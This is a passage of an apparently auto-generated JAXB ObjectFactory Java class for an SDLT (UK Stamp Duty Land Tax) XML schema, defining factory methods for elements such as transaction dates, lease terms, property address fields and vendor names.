EnumInterestType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link EnumInterest2Type }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link EnumInterest2Type }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_InterestCreatedCodeDetailed", scope = SDLT.class) public JAXBElement<EnumInterest2Type> createSDLTSDLTInterestCreatedCodeDetailed(EnumInterest2Type value) { return new JAXBElement<EnumInterest2Type>(_SDLTSDLTInterestCreatedCodeDetailed_QNAME, EnumInterest2Type.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_DateOfTransaction", scope = SDLT.class) public JAXBElement<String> createSDLTSDLTDateOfTransaction(String value) { return new JAXBElement<String>(_SDLTSDLTDateOfTransaction_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_AnyRestrictionsYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTAnyRestrictionsYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTAnyRestrictionsYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IfYesRestrictionDetails", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIfYesRestrictionDetails(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIfYesRestrictionDetails_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_DateOfContract", scope = SDLT.class) public JAXBElement<String> createSDLTSDLTDateOfContract(String value) { return new JAXBElement<String>(_SDLTSDLTDateOfContract_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_AnyLandExchangedYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTAnyLandExchangedYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTAnyLandExchangedYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IfYesExchangedPostcode", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIfYesExchangedPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIfYesExchangedPostcode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IfYesExchangedBuildingNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIfYesExchangedBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIfYesExchangedBuildingNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IfYesExchangedAddress1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIfYesExchangedAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIfYesExchangedAddress1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IfYesExchangedAddress2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIfYesExchangedAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIfYesExchangedAddress2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IfYesExchangedAddress3", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIfYesExchangedAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIfYesExchangedAddress3_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IfYesExchangedAddress4", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIfYesExchangedAddress4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIfYesExchangedAddress4_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PursantToPreviousAgreementYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTPursantToPreviousAgreementYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTPursantToPreviousAgreementYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_ClaimingTaxReliefYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTClaimingTaxReliefYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTClaimingTaxReliefYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IfYesTaxReliefReasonCode", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIfYesTaxReliefReasonCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIfYesTaxReliefReasonCode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IfYesTaxReliefCharityNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIfYesTaxReliefCharityNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIfYesTaxReliefCharityNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IfYesTaxReliefAmount", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIfYesTaxReliefAmount(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIfYesTaxReliefAmount_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TotalConsiderationIncVAT", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTTotalConsiderationIncVAT(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTTotalConsiderationIncVAT_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserTypeCode", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserTypeCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserTypeCode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TotalConsiderationVAT", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTTotalConsiderationVAT(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTTotalConsiderationVAT_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_ConsiderationFormCode1", scope = SDLT.class) public JAXBElement<ConsiderationCodeType> createSDLTSDLTConsiderationFormCode1(ConsiderationCodeType value) { return new JAXBElement<ConsiderationCodeType>(_SDLTSDLTConsiderationFormCode1_QNAME, ConsiderationCodeType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_ConsiderationFormCode2", scope = SDLT.class) public JAXBElement<ConsiderationCodeType> createSDLTSDLTConsiderationFormCode2(ConsiderationCodeType value) { return new JAXBElement<ConsiderationCodeType>(_SDLTSDLTConsiderationFormCode2_QNAME, ConsiderationCodeType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_ConsiderationFormCode3", scope = SDLT.class) public JAXBElement<ConsiderationCodeType> createSDLTSDLTConsiderationFormCode3(ConsiderationCodeType value) { return new JAXBElement<ConsiderationCodeType>(_SDLTSDLTConsiderationFormCode3_QNAME, ConsiderationCodeType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_ConsiderationFormCode4", scope = SDLT.class) public JAXBElement<ConsiderationCodeType> createSDLTSDLTConsiderationFormCode4(ConsiderationCodeType value) { return new JAXBElement<ConsiderationCodeType>(_SDLTSDLTConsiderationFormCode4_QNAME, ConsiderationCodeType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TransactionLinkedYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTTransactionLinkedYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTTransactionLinkedYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IfYesTotalLinkedConsiderationIncVAT", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIfYesTotalLinkedConsiderationIncVAT(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIfYesTotalLinkedConsiderationIncVAT_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TotalTaxDue", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTTotalTaxDue(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTTotalTaxDue_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TotalTaxPaid", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTTotalTaxPaid(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTTotalTaxPaid_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TotalTaxPaidIncPenaltyYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTTotalTaxPaidIncPenaltyYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTTotalTaxPaidIncPenaltyYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link LeaseType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link LeaseType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_LeaseTypeCode", scope = SDLT.class) public JAXBElement<LeaseType> createSDLTSDLTLeaseTypeCode(LeaseType value) { return new JAXBElement<LeaseType>(_SDLTSDLTLeaseTypeCode_QNAME, LeaseType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_LeaseStartDate", scope = SDLT.class) public JAXBElement<String> createSDLTSDLTLeaseStartDate(String value) { return new JAXBElement<String>(_SDLTSDLTLeaseStartDate_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_LeaseEndDate", scope = SDLT.class) public JAXBElement<String> createSDLTSDLTLeaseEndDate(String value) { return new JAXBElement<String>(_SDLTSDLTLeaseEndDate_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_RentFreePeriod", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTRentFreePeriod(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTRentFreePeriod_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TotalAnnualRentIncVAT", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTTotalAnnualRentIncVAT(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTTotalAnnualRentIncVAT_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_EndDateForStartingRent", scope = SDLT.class) public JAXBElement<String> createSDLTSDLTEndDateForStartingRent(String value) { return new JAXBElement<String>(_SDLTSDLTEndDateForStartingRent_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_LaterRentKnownYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTLaterRentKnownYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTLaterRentKnownYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_LeaseAmountVAT", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTLeaseAmountVAT(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTLeaseAmountVAT_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TotalLeasePremiumPayable", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTTotalLeasePremiumPayable(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTTotalLeasePremiumPayable_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_NetPresentValue", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTNetPresentValue(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTNetPresentValue_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TotalLeasePremiumTaxPayable", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTTotalLeasePremiumTaxPayable(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTTotalLeasePremiumTaxPayable_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TotalLeaseNPVTaxPayable", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTTotalLeaseNPVTaxPayable(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTTotalLeaseNPVTaxPayable_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_NumberOfPropertiesIncluded", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTNumberOfPropertiesIncluded(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTNumberOfPropertiesIncluded_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PaperCertificateRemoved", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPaperCertificateRemoved(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPaperCertificateRemoved_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyAddressPostcode", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPropertyAddressPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPropertyAddressPostcode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyAddressBuildingNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPropertyAddressBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPropertyAddressBuildingNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyAddress1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPropertyAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPropertyAddress1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyAddress2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPropertyAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPropertyAddress2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyAddress3", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPropertyAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPropertyAddress3_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyAddress4", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPropertyAddress4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPropertyAddress4_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyLocalAuthorityCode", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPropertyLocalAuthorityCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPropertyLocalAuthorityCode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyTitleNumber", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPropertyTitleNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPropertyTitleNumber_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyNLPGUPRN", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPropertyNLPGUPRN(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPropertyNLPGUPRN_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyUnitsHectareMetres", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPropertyUnitsHectareMetres(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPropertyUnitsHectareMetres_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyAreaSize", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPropertyAreaSize(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPropertyAreaSize_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyPlanAttachedYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTPropertyPlanAttachedYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTPropertyPlanAttachedYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TotalNumberOfVendors", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTTotalNumberOfVendors(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTTotalNumberOfVendors_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor1Title", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor1Title(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor1Title_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor1Surname", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor1Surname(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor1Surname_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor1FirstName1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor1FirstName1(StringType value) { 